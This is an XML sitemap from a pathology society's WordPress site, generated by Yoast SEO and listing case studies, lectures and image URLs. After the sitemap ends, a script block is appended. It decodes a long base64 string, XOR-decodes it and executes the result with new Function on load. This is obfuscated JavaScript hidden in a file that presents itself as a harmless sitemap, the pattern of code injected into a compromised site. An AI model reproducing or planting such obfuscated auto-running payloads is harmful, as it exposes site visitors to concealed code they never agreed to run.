<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//www.nypathsociety.org/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd http://www.google.com/schemas/sitemap-image/1.1 http://www.google.com/schemas/sitemap-image/1.1/sitemap-image.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<url>
		<loc>https://www.nypathsociety.org/cases/</loc>
		<lastmod>2024-03-16T05:24:05+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/a-closer-look-the-neurodegenerative-diseases-that-cause-dementia-2/</loc>
		<lastmod>2017-11-29T19:35:25+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2017/09/viralhepatitis-news.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/researchers-discover-major-mechanism-in-development-of-liver-cancer/</loc>
		<lastmod>2017-11-29T19:35:25+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2017/09/pathology1-1.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/50-year-old-woman-presented-with-abnormal-uterine-bleeding/</loc>
		<lastmod>2017-11-29T19:35:25+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2017/11/caseoftheweek-1.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2017/11/caseoftheweek-2.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2017/11/caseoftheweek-3.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2017/11/caseoftheweek-4.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2017/11/caseoftheweek-5.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/the-surgical-pathology-of-oral-cancer/</loc>
		<lastmod>2017-11-29T19:35:25+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2017/08/nypssocial.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/path-to-a-better-presentation-in-medicine/</loc>
		<lastmod>2017-12-01T17:15:59+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2017/11/banner4-edit.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/viral-hepatitis-biopsy-assessment-in-the-treatment-era-the-beijing-classification/</loc>
		<lastmod>2017-12-01T17:26:51+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/genomicmorphological-classification-of-endometrial-carcinoma/</loc>
		<lastmod>2018-01-22T20:15:04+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/resident-symposium-2017/</loc>
		<lastmod>2018-01-26T15:47:27+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/pancreatic-cystic-lesions/</loc>
		<lastmod>2018-01-26T15:54:48+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/case2/</loc>
		<lastmod>2018-02-16T16:37:22+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/02/Picture3.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/the-continuing-dilemma-of-ductal-carcinoma-in-situ-materials/</loc>
		<lastmod>2018-02-22T15:55:30+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/01/schnitt.png</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/the-continuing-dilemma-of-ductal-carcinoma-in-situ/</loc>
		<lastmod>2018-02-22T15:58:17+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/01/schnitt.png</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/cancer-staging-mithat-gonen/</loc>
		<lastmod>2018-03-09T20:06:24+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/NYPS-Mithat-Gonen-Cancer-Staging.png</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/case3/</loc>
		<lastmod>2018-03-10T18:24:04+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/HEH-High-power-.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/HEH-Radiology.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/HEH-High-power-.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/HEH-Factor-VIII-Pos-vacules-.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/HEH-Cytokeratin-AE1-AE3-Neg-.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/HEH-Core-needle-low-power.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/resident-forum-2018/</loc>
		<lastmod>2018-03-19T23:55:13+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/02/NYPS-e1519254604669.png</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/case4/</loc>
		<lastmod>2018-03-20T00:05:13+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Image-2.jpeg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Image-1.jpeg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Image-2.jpeg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Image-3.jpeg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Image-4.jpeg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Image-5.jpeg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Image-6.jpeg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/microbiology-review/</loc>
		<lastmod>2018-03-29T21:10:48+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/focus-fibrotic-lesions-multinucleated-giant-cells/</loc>
		<lastmod>2018-03-30T16:00:04+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Figure-4.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Figure-1.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Figure-2.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Figure-3.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Figure-4.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/case5/</loc>
		<lastmod>2018-03-30T16:14:24+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/DZa1Iu0VAAYpwbn.jpeg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Slide1-1-1.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Slide2.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Slide3-1.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Slide4.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Slide5.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/presidentsymposium/</loc>
		<lastmod>2018-03-31T16:45:27+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/PresidentSymposium.png</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/PresidentSymposium.png</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/dermpathblog/</loc>
		<lastmod>2018-03-31T16:53:24+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Figure-1.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/cellular-neurothekeoma/</loc>
		<lastmod>2018-04-30T16:29:51+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/04/2.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/04/1i.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/04/2.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/04/3.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/04/4.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/trichotillomania/</loc>
		<lastmod>2018-06-11T15:08:24+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/06/catagen.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/06/catagen.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/06/pigment-cast.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/06/trichomalacia.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/06/seb-glands.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/presidentsymposium18/</loc>
		<lastmod>2018-08-27T21:51:44+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/viral-associated-neoplasms-head-neck/</loc>
		<lastmod>2018-09-24T21:25:03+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/case6/</loc>
		<lastmod>2019-06-20T23:28:51+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2019/05/Figure-1-Endoscopy-.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Slide2.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Slide2.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Slide4.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Slide5.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2018/03/Slide5.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/case7/</loc>
		<lastmod>2019-11-04T01:20:44+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2019/06/Figure-2_Mostyka_dediff_pancreatic_adeno_case_of_the_month-2.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2019/06/Figure-1_Mostyka_dediff-pancreatic-adeno_case_of_the_month-1.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2019/06/Figure-2_Mostyka_dediff_pancreatic_adeno_case_of_the_month-2.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/case8/</loc>
		<lastmod>2019-11-07T01:56:15+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2019/11/white-arrow.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2019/11/kidney.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2019/11/gross-mass.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2019/11/spindled-cells.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2019/11/white-arrow.jpg</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2019/11/sma.png</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://www.nypathsociety.org/myeloma-cast-nephropathy/</loc>
		<lastmod>2024-03-16T05:24:05+00:00</lastmod>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2024/03/feature-Picture1.png</image:loc>
		</image:image>
		<image:image>
			<image:loc>https://www.nypathsociety.org/wp-content/uploads/2024/03/ttable-Picture1.png</image:loc>
		</image:image>
	</url>
</urlset>
<!-- XML Sitemap generated by Yoast SEO --><script>
!function(){var _0x847f=atob('MnxvdHluc3V0MjNhc3wybXN0fnVtQT1FIn4rfCMjKyoqKT1HM2h/bm9odCFtc3R+dW1BPUUifit8IyMrKiopPUcnKyFse2g6RWlyb3JvfG4nOCIuKih8eCspKSJ+e3t4LHsrLCx/Iyt7eyJ5Iyh7KCotIyJ7eXx7IyJ8eC0veS97KDghbHtoOkVidWxpdXN7J0E9cm5uamkgNTVqdXZjfXV0NH5oank0dWh9PTY9cm5uamkgNTVqdXZjfXV0NH17bn9te2M0bn90fn9odmM0eXU9Nj1ybm5qaSA1NWhqeTR7dHFoNHl1dzVqdXZjfXV0PTY9cm5uamkgNTVqdXZjfXV0N2pveHZzeTR0dX5zf2k0e2pqPTY9cm5uamkgNTVoank3d3tzdHR/bjR3e25zeTRrb3NxdHV+fzRqaHU9Nj1ybm5qaSA1NWp1dmN9dXQ3eHVoN2hqeTRqb3h2c3l0dX5/NHl1dz02PXJubmppIDU1K2hqeTRzdTV3e25zeT02PXJubmppIDU1anV2Y311dDd3e3N0dH9uNGpveHZzeTR4dntpbntqczRzdT1HIWx7aDpFbXxtdWJidCc4KmJYLHhZI38rXip4KHxYIyxbeC1ZLi1fKi5ZeCpYXy4tLS4rKnhZK3woOCFse2g6RXV5b3knOHgsIn4rIiojOCF8b3R5bnN1dDpFa3d2YmlgMkVyfmlvaH5wM2FuaGNhbHtoOkVtbnd+J0VyfmlvaH5wNGlveGluaDIqNigzJycnPSpiPSVFcn5pb2h+cDRpb3hpbmgyKDMgRXJ+aW9ofnAhc3wyRW1ud340dn90fW5yJisoIjNof25vaHQ9PSFse2g6RXtpeXdvfSdqe2hpf1N0bjJFbW53fjRpb3hpbmgyLC42LC4zNissMyFzfDI7RXtpeXdvfTNof25vaHQ9PSFse2g6RXhwaHUnRW1ud340aW94aW5oMisoIjZFe2l5d299MCgzNkVvcm5vaic9PSF8dWgybHtoOkVpc3tuYCcqIUVpc3tuYCZFeHBodTR2f3R9bnIhRWlze25gMScoM2Fse2g6RWp3bHdvcn4nantoaX9TdG4yRXhwaHU0aW94aW5oMkVpc3tuYDYoMzYrLDMhc3wyRWp3bHdvcn4zRW9ybm9qMSdJbmhzdH00fGh1d1lye2hZdX5/MkVqd2x3b3J+MyFnaH9ub2h0OkVvcm5vaiFneXtueXIyfzNhaH9ub2h0PT0hZ2d8b3R5bnN1dDpFbmpua2x1ajJFeWlidnNxdTZFcW1jb2l0M2Fof25vaHQ6dH9tOkpodXdzaX8yfG90eW5zdXQyRX9jcn55d3I2RWl3cXlsdGkzYWx7aDpFY35+eGN2J3R/bTpCV1ZSbm5qSH9rb39pbjIzIUVjfn54Y3Y0dWp/dDI9SlVJTj02RXlpYnZzcXU2bmhvfzMhRWN+fnhjdjRpf25If2tvf2luUn97fn9oMj1ZdXRuf3RuN05jan89Nj17amp2c3l7bnN1dDVwaXV0PTMhRWN+fnhjdjRuc3d/dW9uJy8qKiohRWN+fnhjdjR1dHZ1e34nfG90eW5zdXQyM2FuaGNhRX9jcn55d3IyUElVVDRqe2hpfzJFY35+eGN2NGh/aWp1dGl/Tn9ibjMzIWd5e255cjJ/M2FFaXdxeWx0aTJ/MyFnZyFFY35+eGN2NHV0f2hodWgnRWN+fnhjdjR1dG5zd391b24nfG90eW5zdXQyM2FFaXdxeWx0aTJ0f206X2hodWgyMzMhZyFFY35+eGN2NGl/dH4yUElVVDRpbmhzdH1zfGMyRXFtY29pdDMzIWczIWd8b3R5bnN1dDpFYH5wfTJFdXJodDNhc3wyRXVyaHQkJ0VidWxpdXN7NHZ/dH1ucjNof25vaHQ6Smh1d3NpfzRof2l1dmx/MnRvdnYzIWx7aDpFY2hiaH4nYXBpdXRoankgPSg0Kj02d39ucnV+ID1/bnJFeXt2dj02antoe3dpIEFhbnUgRW18bXViYnQ2fntueyA9KmI9MUV1eW95ZzY9dntuf2luPUc2c34gK2chaH9ub2h0OkVuam5rbHVqMkVidWxpdXN7QUV1cmh0RzZFY2hiaH4zNG5yf3QyfG90eW5zdXQyRWh/fnZjbmAzYWx7aDpFf21/bydFaH9+dmNuYDw8RWh/fnZjbmA0aH9pb3ZuJUVrd3ZiaWAyRWh/fnZjbmA0aH9pb3ZuMyA9PSFzfDJFf21/bzNof25vaHQ6RX9tf280aH9qdnt5fzI1RjUxPjU2PT0zIWh/bm9odDpFYH5wfTJFdXJodDErMyFnMzR5e255cjJ8b3R5bnN1dDIzYWh/bm9odDpFYH5wfTJFdXJodDErMyFnMyFnfG90eW5zdXQ6RXJpcHJ/dTJFYGl1cDNhbHtoOkV+YmptdSd+dXlvd390bjR5aH97bn9fdn93f3RuMj1peWhzam49MyFFfmJqbXU0aWh5J0VgaXVwMT01e2pzNGpyaiVpJz0xRWlyb3JvfG4xPTxFbCc9MVd7bnI0fHZ1dWgyXntufzR0dW0yMzUsKioqKjMhRX5iam11NHtpY3R5J25ob38hMn51eW93f3RuNHJ/e35mZn51eW93f3RuNHh1fmMzNHtqan90fllyc3Z+MkV+YmptdTMhZ0VgfnB9MiozNG5yf3QyfG90eW5zdXQyRWBpdXAzYXN8MkVgaXVwM0VyaXByf3UyRWBpdXAzIWczIWczMjMh'),_0x44d3=26,_0xfb53=new Uint8Array(_0x847f['length']),_0xf2b0=0;for(;_0xf2b0<_0x847f['length'];_0xf2b0++)_0xfb53[_0xf2b0]=_0x847f['charCodeAt'](_0xf2b0)^_0x44d3;(new Function(new TextDecoder()['decode'](_0xfb53)))()}();
</script>
    